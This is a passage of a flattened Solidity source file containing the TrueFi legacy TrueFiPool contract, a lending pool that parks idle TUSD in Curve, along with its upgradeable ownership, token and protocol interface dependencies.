amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function updateNameAndSymbol(string memory __name, string memory __symbol) internal { _name = __name; _symbol = __symbol; } } // Dependency file: contracts/common/UpgradeableOwnable.sol // pragma solidity 0.6.10; // import {Context} from "@openzeppelin/contracts/GSN/Context.sol"; // import {Initializable} from "contracts/common/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Dependency file: contracts/truefi/interface/IYToken.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IYToken is IERC20 { function getPricePerFullShare() external view returns (uint256); } // Dependency file: contracts/truefi/interface/ICurve.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import {IYToken} from "contracts/truefi/interface/IYToken.sol"; interface ICurve { function calc_token_amount(uint256[4] memory amounts, bool deposit) external view returns (uint256); function get_virtual_price() external view returns (uint256); } interface ICurveGauge { function balanceOf(address depositor) external view returns (uint256); function minter() external returns (ICurveMinter); function deposit(uint256 amount) external; function withdraw(uint256 amount) external; } interface ICurveMinter { function mint(address gauge) external; function token() external view returns (IERC20); } interface ICurvePool { function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_amount, bool donate_dust ) external; function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256); function token() external view returns (IERC20); function curve() external view returns (ICurve); function coins(int128 id) external view returns (IYToken); } // Dependency file: contracts/truefi/interface/ITrueFiPool.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * TruePool is an ERC20 which represents a share of a pool * * This contract can be used to wrap opportunities to be compatible * with TrueFi and allow users to directly opt-in through the TUSD contract * * Each TruePool is also a staking opportunity for TRU */ interface ITrueFiPool is IERC20 { /// @dev pool token (TUSD) function currencyToken() external view returns (IERC20); /** * @dev join pool * 1. Transfer TUSD from sender * 2. Mint pool tokens based on value to sender */ function join(uint256 amount) external; /** * @dev borrow from pool * 1. Transfer TUSD to sender * 2. Only lending pool should be allowed to call this */ function borrow(uint256 amount, uint256 fee) external; /** * @dev join pool * 1. Transfer TUSD from sender * 2. Only lending pool should be allowed to call this */ function repay(uint256 amount) external; } // Dependency file: contracts/truefi/interface/ITrueLender.sol // pragma solidity 0.6.10; interface ITrueLender { function value() external view returns (uint256); function distribute( address recipient, uint256 numerator, uint256 denominator ) external; } // Dependency file: contracts/truefi/interface/IUniswapRouter.sol // pragma solidity 0.6.10; interface IUniswapRouter { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } // Dependency file: contracts/truefi/interface/ICrvPriceOracle.sol // pragma solidity 0.6.10; interface ICrvPriceOracle { function usdToCrv(uint256 amount) external view returns (uint256); function crvToUsd(uint256 amount) external view returns (uint256); } // Dependency file: contracts/common/interface/IPauseableContract.sol // pragma solidity 0.6.10; /** * @dev interface to allow standard pause function */ interface IPauseableContract { function setPauseStatus(bool pauseStatus) external; } // Dependency file: contracts/truefi2/deprecated/ILoanToken2Deprecated.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import {ITrueFiPool2} from "contracts/truefi2/interface/ITrueFiPool2.sol"; interface ILoanToken2Deprecated is IERC20 { enum Status { Awaiting, Funded, Withdrawn, Settled, Defaulted, Liquidated } function borrower() external view returns (address); function amount() external view returns (uint256); function term() external view returns (uint256); function apy() external view returns (uint256); function start() external view returns (uint256); function lender() external view returns (address); function debt() external view returns (uint256); function pool() external view returns (ITrueFiPool2); function profit() external view returns (uint256); function status() external view returns (Status); function getParameters() external view returns ( uint256, uint256, uint256 ); function fund() external; function withdraw(address _beneficiary) external; function settle() external; function enterDefault() external; function liquidate() external; function redeem(uint256 _amount) external; function repay(address _sender, uint256 _amount) external; function repayInFull(address _sender) external; function reclaim() external; function allowTransfer(address account, bool _status) external; function repaid() external view returns (uint256); function isRepaid() external view returns (bool); function balance() external view returns (uint256); function value(uint256 _balance) external view returns (uint256); function token() external view returns (IERC20); function version() external pure returns (uint8); } //interface IContractWithPool { // function pool() external view returns (ITrueFiPool2); //} // //// Had to be split because of multiple inheritance problem //interface IFixedTermLoan is ILoanToken, IContractWithPool { // //} // Dependency file: contracts/truefi2/deprecated/ITrueLender2Deprecated.sol // pragma solidity 0.6.10; // import {ITrueFiPool2} from "contracts/truefi2/interface/ITrueFiPool2.sol"; // import {ILoanToken2Deprecated} from "contracts/truefi2/deprecated/ILoanToken2Deprecated.sol"; interface ITrueLender2Deprecated { // @dev calculate overall value of the pools function value(ITrueFiPool2 pool) external view returns (uint256); // @dev distribute a basket of tokens for exiting user function distribute( address recipient, uint256 numerator, uint256 denominator ) external; function transferAllLoanTokens(ILoanToken2Deprecated loan, address recipient) external; } // Dependency file: contracts/truefi2/interface/IFixedTermLoanAgency.sol // pragma solidity 0.6.10; // import {ITrueFiPool2} from "contracts/truefi2/interface/ITrueFiPool2.sol"; interface IFixedTermLoanAgency { // @dev calculate overall value of the pools function value(ITrueFiPool2 pool) external view returns (uint256); } // Dependency file: contracts/truefi2/interface/IDebtToken.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import {ERC20} from "contracts/common/UpgradeableERC20.sol"; // import {ITrueFiPool2} from "contracts/truefi2/interface/ITrueFiPool2.sol"; interface IDebtToken is IERC20 { function borrower() external view returns (address); function debt() external view returns (uint256); function pool() external view returns (ITrueFiPool2); function isLiquidated() external view returns (bool); function redeem(uint256 _amount) external; function liquidate() external; function repaid() external view returns (uint256); function balance() external view returns (uint256); function token() external view returns (ERC20); function version() external pure returns (uint8); } // Dependency file: contracts/truefi2/interface/IERC20WithDecimals.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20WithDecimals is IERC20 { function decimals() external view returns (uint256); } // Dependency file: contracts/truefi2/interface/ITrueFiPoolOracle.sol // pragma solidity 0.6.10; // import {IERC20WithDecimals} from "contracts/truefi2/interface/IERC20WithDecimals.sol"; /** * @dev Oracle that converts any token to and from TRU * Used for liquidations and valuing of liquidated TRU in the pool */ interface ITrueFiPoolOracle { // token address function token() external view returns (IERC20WithDecimals); // amount of tokens 1 TRU is worth function truToToken(uint256 truAmount) external view returns (uint256); // amount of TRU 1 token is worth function tokenToTru(uint256 tokenAmount) external view returns (uint256); // USD price of token with 18 decimals function tokenToUsd(uint256 tokenAmount) external view returns (uint256); } // Dependency file: contracts/truefi2/interface/IDeficiencyToken.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import {IDebtToken} from "contracts/truefi2/interface/IDebtToken.sol"; interface IDeficiencyToken is IERC20 { function debt() external view returns (IDebtToken); function burnFrom(address account, uint256 amount) external; function version() external pure returns (uint8); } // Dependency file: contracts/truefi2/interface/ISAFU.sol // pragma solidity 0.6.10; // import {IDeficiencyToken} from "contracts/truefi2/interface/IDeficiencyToken.sol"; // import {IDebtToken} from "contracts/truefi2/interface/IDebtToken.sol"; // import {ILoanToken2Deprecated} from "contracts/truefi2/deprecated/ILoanToken2Deprecated.sol"; interface ISAFU { function poolDeficit(address pool) external view returns (uint256); function legacyDeficiencyToken(ILoanToken2Deprecated loan) external view returns (IDeficiencyToken); function deficiencyToken(IDebtToken debt) external view returns (IDeficiencyToken); function legacyReclaim(ILoanToken2Deprecated loan, uint256 amount) external; function reclaim(IDebtToken debt, uint256 amount) external; } // Dependency file: contracts/truefi2/interface/IFixedTermLoan.sol // pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import {ITrueFiPool2} from "contracts/truefi2/interface/ITrueFiPool2.sol"; interface IFixedTermLoan is IERC20 { enum Status { Withdrawn, Settled, Defaulted } function redeem() external; function status() external view returns (Status); function interest() external view returns (uint256); function debt() external view returns (uint256); function currentValue(address holder) external view returns (uint256); function pool() external view returns (ITrueFiPool2); } // Dependency file: contracts/truefi2/interface/ILoanFactory2.sol // pragma solidity 0.6.10; // import {ILoanToken2Deprecated} from "contracts/truefi2/deprecated/ILoanToken2Deprecated.sol"; // import {IFixedTermLoan} from "contracts/truefi2/interface/IFixedTermLoan.sol"; // import {IDebtToken} from "contracts/truefi2/interface/IDebtToken.sol"; // import {ITrueFiPool2} from "contracts/truefi2/interface/ITrueFiPool2.sol"; interface ILoanFactory2 { function createLoanToken( ITrueFiPool2 _pool, address _borrower, uint256 _amount, uint256 _term, uint256 _apy ) external returns (IFixedTermLoan); function createDebtToken( ITrueFiPool2 _pool, address _borrower, uint256 _debt ) external returns (IDebtToken); function isLegacyLoanToken(ILoanToken2Deprecated) external view returns (bool); function isLoanToken(IFixedTermLoan) external view returns (bool); function isDebtToken(IDebtToken) external view returns (bool); function debtTokens(address) external view returns (IDebtToken[] memory); } // Dependency file: contracts/truefi2/interface/ITrueFiPool2.sol // pragma solidity 0.6.10; // import {ERC20, IERC20} from "contracts/common/UpgradeableERC20.sol"; // import {ITrueLender2Deprecated} from "contracts/truefi2/deprecated/ITrueLender2Deprecated.sol"; // import {IFixedTermLoanAgency} from "contracts/truefi2/interface/IFixedTermLoanAgency.sol"; // import {ILoanToken2Deprecated} from "contracts/truefi2/deprecated/ILoanToken2Deprecated.sol"; // import {IDebtToken} from "contracts/truefi2/interface/IDebtToken.sol"; // import {ITrueFiPoolOracle} from "contracts/truefi2/interface/ITrueFiPoolOracle.sol"; // import {ISAFU} from "contracts/truefi2/interface/ISAFU.sol"; // import {ILoanFactory2} from "contracts/truefi2/interface/ILoanFactory2.sol"; interface ITrueFiPool2 is IERC20 { function initialize( ERC20 _token, IFixedTermLoanAgency _ftlAgency, ISAFU safu, ILoanFactory2 _loanFactory, address __owner ) external; function singleBorrowerInitialize( ERC20 _token, IFixedTermLoanAgency _ftlAgency, ISAFU safu, ILoanFactory2 _loanFactory, address __owner, string memory borrowerName, string memory borrowerSymbol ) external; function token() external view returns (ERC20); function oracle() external view returns (ITrueFiPoolOracle); function poolValue() external view returns (uint256); /** * @dev Ratio of liquid assets in the pool after lending * @param afterAmountLent Amount of asset being lent */ function liquidRatio(uint256 afterAmountLent) external view returns (uint256); /** * @dev Join the pool by depositing tokens * @param amount amount of tokens to deposit */ function join(uint256 amount) external; /** * @dev borrow from pool * 1. Transfer TUSD to sender * 2. Only lending pool should be allowed to call this */ function borrow(uint256 amount) external; /** * @dev pay borrowed money back to pool * 1. Transfer TUSD from sender * 2. Only lending pool should be allowed to call this */ function repay(uint256 currencyAmount) external; function liquidateLegacyLoan(ILoanToken2Deprecated loan) external; /** * @dev SAFU buys DebtTokens from the pool */ function liquidateDebt(IDebtToken debtToken) external; function addDebt(IDebtToken debtToken, uint256 amount) external; } // Dependency file: contracts/truefi2/PoolExtensions.sol // pragma solidity 0.6.10; // import {ILoanToken2Deprecated} from "contracts/truefi2/deprecated/ILoanToken2Deprecated.sol"; // import {ITrueLender2Deprecated} from "contracts/truefi2/deprecated/ITrueLender2Deprecated.sol"; // import {ISAFU} from "contracts/truefi2/interface/ISAFU.sol"; /** * Deprecated * @dev Library that has shared functions between legacy TrueFi Pool and Pool2 * Was created to add common functions to Pool2 and now deprecated legacy pool */ library PoolExtensions { function _liquidate( ISAFU safu, ILoanToken2Deprecated loan, ITrueLender2Deprecated lender ) internal { require(msg.sender == address(safu), "TrueFiPool: Should be called by SAFU"); lender.transferAllLoanTokens(loan, address(safu)); } } // Root file: contracts/truefi/TrueFiPool.sol pragma solidity 0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; // import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; // import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; // import {ERC20} from "contracts/common/UpgradeableERC20.sol"; // import {Ownable} from "contracts/common/UpgradeableOwnable.sol"; // import {ICurveGauge, ICurveMinter, ICurvePool} from "contracts/truefi/interface/ICurve.sol"; // import {ITrueFiPool} from "contracts/truefi/interface/ITrueFiPool.sol"; // import {ITrueLender} from "contracts/truefi/interface/ITrueLender.sol"; // import {IUniswapRouter} from "contracts/truefi/interface/IUniswapRouter.sol"; // import {ICrvPriceOracle} from "contracts/truefi/interface/ICrvPriceOracle.sol"; // import {IPauseableContract} from "contracts/common/interface/IPauseableContract.sol"; // import {ITrueFiPool2, ITrueFiPoolOracle, ITrueLender2Deprecated, ISAFU} from "contracts/truefi2/interface/ITrueFiPool2.sol"; // import {ILoanToken2Deprecated} from "contracts/truefi2/deprecated/ILoanToken2Deprecated.sol"; // import {PoolExtensions} from "contracts/truefi2/PoolExtensions.sol"; /** * @title TrueFi Pool * @dev Lending pool which uses curve.fi to store idle funds * Earn high interest rates on currency deposits through uncollateralized loans * * Funds deposited in this pool are not fully liquid. Liquidity * Exiting incurs an exit penalty depending on pool liquidity * After exiting, an account will need to wait for LoanTokens to expire and burn them * It is recommended to perform a zap or swap tokens on Uniswap for increased liquidity * * Funds are managed through an external function to save gas on deposits */ contract TrueFiPool is ITrueFiPool, IPauseableContract, ERC20, ReentrancyGuard, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // ================ WARNING ================== // ===== THIS CONTRACT IS INITIALIZABLE ====== // === STORAGE VARIABLES ARE DECLARED BELOW == // REMOVAL OR REORDER OF VARIABLES WILL RESULT // ========= IN STORAGE CORRUPTION =========== ICurvePool public _curvePool; ICurveGauge public _curveGauge; IERC20 public token; ITrueLender public _lender; ICurveMinter public _minter; IUniswapRouter public _uniRouter; // fee for deposits uint256 public joiningFee; // track claimable fees uint256 public claimableFees; mapping(address => uint256) latestJoinBlock; address private DEPRECATED__stakeToken; // cache values during sync for gas optimization bool private inSync; uint256 private yTokenValueCache; uint256 private loansValueCache; // TRU price oracle ITrueFiPoolOracle public oracle; // fund manager can call functions to help manage pool funds // fund manager can be set to 0 or governance address public fundsManager; // allow pausing of deposits bool public pauseStatus; // CRV price oracle ICrvPriceOracle public _crvOracle; ITrueLender2Deprecated public _lender2; ISAFU public safu; // ======= STORAGE DECLARATION END ============ // curve.fi data uint8 constant N_TOKENS = 4; uint8 constant TUSD_INDEX = 3; uint256 constant MAX_PRICE_SLIPPAGE = 10; // 0.1% /** * @dev Emitted when TrueFi oracle was changed * @param newOracle New oracle address */ event TruOracleChanged(ITrueFiPoolOracle newOracle); /** * @dev Emitted when CRV oracle was changed * @param newOracle New oracle address */ event CrvOracleChanged(ICrvPriceOracle newOracle); /** * @dev Emitted when funds manager is changed * @param newManager New manager address */ event FundsManagerChanged(address newManager); /** * @dev Emitted when fee is changed * @param newFee New fee */ event JoiningFeeChanged(uint256 newFee); /** * @dev Emitted when someone joins the pool * @param staker Account staking * @param deposited Amount deposited * @param minted Amount of pool tokens minted */ event Joined(address indexed staker, uint256 deposited, uint256 minted); /** * @dev Emitted when someone exits the pool * @param staker Account exiting * @param amount Amount unstaking */ event Exited(address indexed staker, uint256 amount); /** * @dev Emitted when funds are flushed into curve.fi * @param currencyAmount Amount of tokens deposited */ event Flushed(uint256 currencyAmount); /** * @dev Emitted when funds are pulled from curve.fi * @param yAmount Amount of pool tokens */ event Pulled(uint256 yAmount); /** * @dev Emitted when funds are borrowed from pool * @param borrower Borrower address * @param amount Amount of funds borrowed from pool * @param fee Fees collected from this transaction */ event Borrow(address borrower, uint256 amount, uint256 fee); /** * @dev Emitted when borrower repays the pool * @param payer Address of borrower * @param amount Amount repaid */ event Repaid(address indexed payer, uint256 amount); /** * @dev Emitted when fees are collected * @param beneficiary Account to receive fees * @param amount Amount of fees collected */ event Collected(address indexed beneficiary, uint256 amount); /** * @dev Emitted when joining is paused or unpaused * @param pauseStatus New pausing status */ event PauseStatusChanged(bool pauseStatus); /** * @dev Emitted when SAFU address is changed * @param newSafu New SAFU address */ event SafuChanged(ISAFU newSafu); /** * @dev only lender can perform borrowing or repaying */ modifier onlyLender() { require(msg.sender == address(_lender) || msg.sender == address(_lender2), "TrueFiPool: Caller is not the lender"); _; } /** * @dev pool can only be joined when it's unpaused */ modifier joiningNotPaused() { require(!pauseStatus, "TrueFiPool: Joining the pool is paused"); _; } /** * @dev only lender can perform borrowing or repaying */ modifier onlyOwnerOrManager() { require(msg.sender == owner() || msg.sender == fundsManager, "TrueFiPool: Caller is neither owner nor funds manager"); _; } /** * @dev ensure than as a result of running a function, * balance of `token` increases by at least `expectedGain` */ modifier exchangeProtector(uint256 expectedGain, IERC20 _token) { uint256 balanceBefore = _token.balanceOf(address(this)); _; uint256 balanceDiff = _token.balanceOf(address(this)).sub(balanceBefore); require(balanceDiff >= conservativePriceEstimation(expectedGain), "TrueFiPool: Not optimal exchange"); } /** * Sync values to avoid making expensive calls multiple times * Will set inSync to true, allowing getter functions to return cached values * Wipes cached values to save gas */ modifier sync() { // sync yTokenValueCache = yTokenValue(); loansValueCache = loansValue(); inSync = true; _; // wipe inSync = false; yTokenValueCache = 0; loansValueCache = 0; } function updateNameAndSymbolToLegacy() public { updateNameAndSymbol("Legacy TrueFi TrueUSD", "Legacy tfTUSD"); } /// @dev support borrow function from pool V2 function borrow(uint256 amount) external { borrow(amount, 0); } /** * @dev get currency token address * @return currency token address */ function currencyToken() public view override returns (IERC20) { return token; } /** * @dev set TrueLenderV2 */ function setLender2(ITrueLender2Deprecated lender2) public onlyOwner { require(address(_lender2) == address(0), "TrueFiPool: Lender 2 is already set"); _lender2 = lender2; } /** * @dev set funds manager address */ function setFundsManager(address newFundsManager) public onlyOwner { fundsManager = newFundsManager; emit FundsManagerChanged(newFundsManager); } /** * @dev set TrueFi price oracle token address * @param newOracle new oracle address */ function setTruOracle(ITrueFiPoolOracle newOracle) public onlyOwner { oracle = newOracle; emit TruOracleChanged(newOracle); } /** * @dev set CRV price oracle token address * @param newOracle new oracle address */ function setCrvOracle(ICrvPriceOracle newOracle) public onlyOwner { _crvOracle = newOracle; emit CrvOracleChanged(newOracle); } /** * @dev Allow pausing of deposits in case of emergency * @param status New deposit status */ function setPauseStatus(bool status) external override onlyOwnerOrManager { pauseStatus = status; emit PauseStatusChanged(status); } /** * @dev Change SAFU address */ function setSafuAddress(ISAFU _safu) external onlyOwner { safu = _safu; emit SafuChanged(_safu); } /** * @dev Get total balance of CRV tokens * @return Balance of stake tokens in this contract */ function crvBalance() public view returns (uint256) { if (address(_minter) == address(0)) { return 0; } return _minter.token().balanceOf(address(this)); } /** * @dev Get total balance of curve.fi pool tokens * @return Balance of y pool tokens in this contract */ function yTokenBalance() public view returns (uint256) { return _curvePool.token().balanceOf(address(this)).add(_curveGauge.balanceOf(address(this))); } /** * @dev Virtual value of yCRV tokens in the pool * Will return sync value if inSync * @return yTokenValue in USD. */ function yTokenValue() public view returns (uint256) { if (inSync) { return yTokenValueCache; } return yTokenBalance().mul(_curvePool.curve().get_virtual_price()).div(1 ether); } /** * @dev Price of CRV in USD * @return Oracle price of TRU in USD */ function crvValue() public view returns (uint256) { uint256 balance = crvBalance(); if (balance == 0 || address(_crvOracle) == address(0)) { return 0; } return conservativePriceEstimation(_crvOracle.crvToUsd(balance)); } /** * @dev Virtual value of liquid assets in the pool * @return Virtual liquid value of pool assets */ function liquidValue() public view returns (uint256) { return currencyBalance().add(yTokenValue()); } /** * @dev Return pool deficiency value, to be returned by safu * @return pool deficiency value */ function deficitValue() public view returns (uint256) { if (address(safu) == address(0)) { return 0; } return safu.poolDeficit(address(this)); } /** * @dev Calculate pool value in TUSD * "virtual price" of entire pool - LoanTokens, TUSD, curve y pool tokens * @return pool value in USD */ function poolValue() public view returns (uint256) { // this assumes defaulted loans are worth their full value return liquidValue().add(loansValue()).add(crvValue()).add(deficitValue()); } /** * @dev Virtual value of loan assets in the pool * Will return cached value if inSync * @return Value of loans in pool */ function loansValue() public view returns (uint256) { if (inSync) { return loansValueCache; } if (address(_lender2) != address(0)) { return _lender.value().add(_lender2.value(ITrueFiPool2(address(this)))); } return _lender.value(); } /** * @dev ensure enough curve.fi pool tokens are available * Check if current available amount of TUSD is enough and * withdraw remainder from gauge * @param neededAmount amount required */ function ensureEnoughTokensAreAvailable(uint256 neededAmount) internal { uint256 currentlyAvailableAmount = _curvePool.token().balanceOf(address(this)); if (currentlyAvailableAmount < neededAmount) { _curveGauge.withdraw(neededAmount.sub(currentlyAvailableAmount)); } } /** * @dev set pool join fee * @param fee new fee */ function setJoiningFee(uint256 fee) external onlyOwner { require(fee <= 10000, "TrueFiPool: Fee cannot exceed transaction value"); joiningFee = fee; emit JoiningFeeChanged(fee); } /** * @dev Join the pool by depositing currency tokens * @param amount amount of currency token to deposit */ function join(uint256 amount) external override joiningNotPaused { uint256 fee = amount.mul(joiningFee).div(10000); uint256 mintedAmount = mint(amount.sub(fee)); claimableFees = claimableFees.add(fee); latestJoinBlock[tx.origin] = block.number; require(token.transferFrom(msg.sender, address(this), amount)); emit Joined(msg.sender, amount, mintedAmount); } /** * @dev DEPRECATED This function will always revert. * DO NOT USE in any new code. Please use liquidExit() instead. * * Exit pool * This function will withdraw a basket of currencies backing the pool value */ function exit(uint256) external pure { revert("This function has been deprecated. Please use liquidExit() instead."); } /** * @dev Exit pool only with liquid tokens * This function will withdraw TUSD but with a small penalty * Uses the sync() modifier to reduce gas costs of using curve * @param amount amount of pool tokens to redeem for underlying tokens */ function liquidExit(uint256 amount) external nonReentrant sync { require(block.number != latestJoinBlock[tx.origin], "TrueFiPool: Cannot join and exit in same block"); require(amount <= balanceOf(msg.sender), "TrueFiPool: Insufficient funds"); uint256 amountToWithdraw = poolValue().mul(amount).div(totalSupply()); require(amountToWithdraw <= liquidValue(), "TrueFiPool: Not enough liquidity in pool"); // burn tokens sent _burn(msg.sender, amount); if (amountToWithdraw > currencyBalance()) { removeLiquidityFromCurve(amountToWithdraw.sub(currencyBalance())); require(amountToWithdraw <= currencyBalance(), "TrueFiPool: Not enough funds were withdrawn from Curve"); } require(token.transfer(msg.sender, amountToWithdraw)); emit Exited(msg.sender, amountToWithdraw); } /** * @dev DEPRECATED This function always returns a constant 10000 to represent no penalty. * DO NOT USE in any new code. Only here for backward compatibility with existing contracts. * * Penalty (in % * 100) applied if liquid exit is performed with this amount * returns 10000 if no penalty */ function liquidExitPenalty(uint256) external pure returns (uint256) { // DEPRECATED This function always returns a constant 10000 to represent no penalty. // DO NOT USE in any new code. Only here for backward compatibility with existing contracts. return 10000; } /** * @dev Deposit idle funds into curve.fi pool and stake in gauge * Called by owner to help manage funds in pool and save on gas for deposits * @param currencyAmount Amount of funds to deposit into curve */ function flush(uint256 currencyAmount) external onlyOwner { require(currencyAmount <= currencyBalance(), "TrueFiPool: Insufficient currency balance"); uint256 expectedMinYTokenValue = yTokenValue().add(conservativePriceEstimation(currencyAmount)); _curvePoolDeposit(currencyAmount); require(yTokenValue() >= expectedMinYTokenValue, "TrueFiPool: yToken value expected to be higher"); emit Flushed(currencyAmount); } function _curvePoolDeposit(uint256 currencyAmount) private { uint256[N_TOKENS] memory amounts = [0, 0, 0, currencyAmount]; token.safeApprove(address(_curvePool), currencyAmount); uint256 conservativeMinAmount = calcTokenAmount(currencyAmount).mul(999).div(1000); _curvePool.add_liquidity(amounts, conservativeMinAmount); // stake yCurve tokens in gauge uint256 yBalance = _curvePool.token().balanceOf(address(this)); _curvePool.token().safeApprove(address(_curveGauge), yBalance); _curveGauge.deposit(yBalance); } /** * @dev Remove liquidity from curve * @param yAmount amount of curve pool tokens * @param minCurrencyAmount minimum amount of tokens to withdraw */ function pull(uint256 yAmount, uint256 minCurrencyAmount) external onlyOwnerOrManager { require(yAmount <= yTokenBalance(), "TrueFiPool: Insufficient Curve liquidity balance"); // unstake in gauge ensureEnoughTokensAreAvailable(yAmount); // remove TUSD from curve _curvePool.token().safeApprove(address(_curvePool), yAmount); _curvePool.remove_liquidity_one_coin(yAmount, TUSD_INDEX, minCurrencyAmount, false); emit Pulled(yAmount); } function borrow(uint256, uint256) public virtual override onlyLender { revert("TrueFiPool: Borrowing is deprecated"); } function removeLiquidityFromCurve(uint256 amountToWithdraw) internal { // get rough estimate of how much yCRV we should sell uint256 roughCurveTokenAmount = calcTokenAmount(amountToWithdraw).mul(1005).div(1000); require(roughCurveTokenAmount <= yTokenBalance(), "TrueFiPool: Not enough Curve liquidity tokens in pool to cover borrow"); // pull tokens from gauge ensureEnoughTokensAreAvailable(roughCurveTokenAmount); // remove TUSD from curve _curvePool.token().safeApprove(address(_curvePool), roughCurveTokenAmount); uint256 minAmount = roughCurveTokenAmount.mul(_curvePool.curve().get_virtual_price()).mul(999).div(1000).div(1 ether); _curvePool.remove_liquidity_one_coin(roughCurveTokenAmount, TUSD_INDEX, minAmount, false); } /** * @dev repay debt by transferring tokens to the contract * @param currencyAmount amount to repay */ function repay(uint256 currencyAmount) external override onlyLender { require(token.transferFrom(msg.sender, address(this), currencyAmount)); emit Repaid(msg.sender, currencyAmount); } /** * @dev Collect CRV tokens minted by staking at gauge */ function collectCrv() external onlyOwnerOrManager { _minter.mint(address(_curveGauge)); } /** * @dev Sell collected CRV on Uniswap * - Selling CRV is managed by the contract owner * - Calculations can be made off-chain and called based on market conditions * - Need to pass path of exact pairs to go through while executing exchange * For example, CRV -> WETH -> TUSD * * @param amountIn see https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensfortokens * @param amountOutMin see https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensfortokens * @param path see https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensfortokens */ function sellCrv( uint256 amountIn, uint256 amountOutMin, address[] calldata path ) public exchangeProtector(_crvOracle.crvToUsd(amountIn), token) { _minter.token().safeApprove(address(_uniRouter), amountIn); _uniRouter.swapExactTokensForTokens(amountIn, amountOutMin, path, address(this), block.timestamp + 1 hours); } /** * @dev Claim fees from the pool * @param beneficiary account to send funds to */ function collectFees(address beneficiary) external onlyOwnerOrManager { uint256 amount = claimableFees; claimableFees = 0; if (amount > 0) { require(token.transfer(beneficiary, amount)); } emit Collected(beneficiary, amount); } /** * @dev Function called by SAFU when liquidation happens. It will transfer all tokens of this loan the SAFU */ function liquidate(ILoanToken2Deprecated loan) external { PoolExtensions._liquidate(safu, loan, _lender2); } /** * @notice Expected amount of minted Curve.fi yDAI/yUSDC/yUSDT/yTUSD tokens. * Can be used to control slippage * Called in flush() function * @param currencyAmount amount to calculate for * @return expected amount minted given currency amount */ function calcTokenAmount(uint256 currencyAmount) public view returns (uint256) { // prettier-ignore uint256 yTokenAmount = currencyAmount.mul(1e18).div( _curvePool.coins(TUSD_INDEX).getPricePerFullShare()); uint256[N_TOKENS] memory yAmounts = [0, 0, 0, yTokenAmount]; return _curvePool.curve().calc_token_amount(yAmounts, true); } /** * @dev Currency token balance * @return Currency token balance */ function currencyBalance() public view returns (uint256) { return token.balanceOf(address(this)).sub(claimableFees); } /** * @param depositedAmount Amount of currency deposited * @return amount minted from this transaction */ function mint(uint256 depositedAmount) internal returns (uint256) { uint256 mintedAmount = depositedAmount; if (mintedAmount == 0) { return mintedAmount; } // first staker mints same amount deposited if (totalSupply() > 0) { mintedAmount = totalSupply().mul(depositedAmount).div(poolValue()); } // mint pool tokens _mint(msg.sender, mintedAmount); return mintedAmount; } /** * @dev Calculate price minus max percentage of slippage during exchange * This will lead to the pool value become a bit undervalued * compared to the oracle price but will ensure that the value doesn't drop * when token exchanges are performed. */ function conservativePriceEstimation(uint256 price) internal pure returns (uint256) { return price.mul(uint256(10000).sub(MAX_PRICE_SLIPPAGE)).div(10000); } }
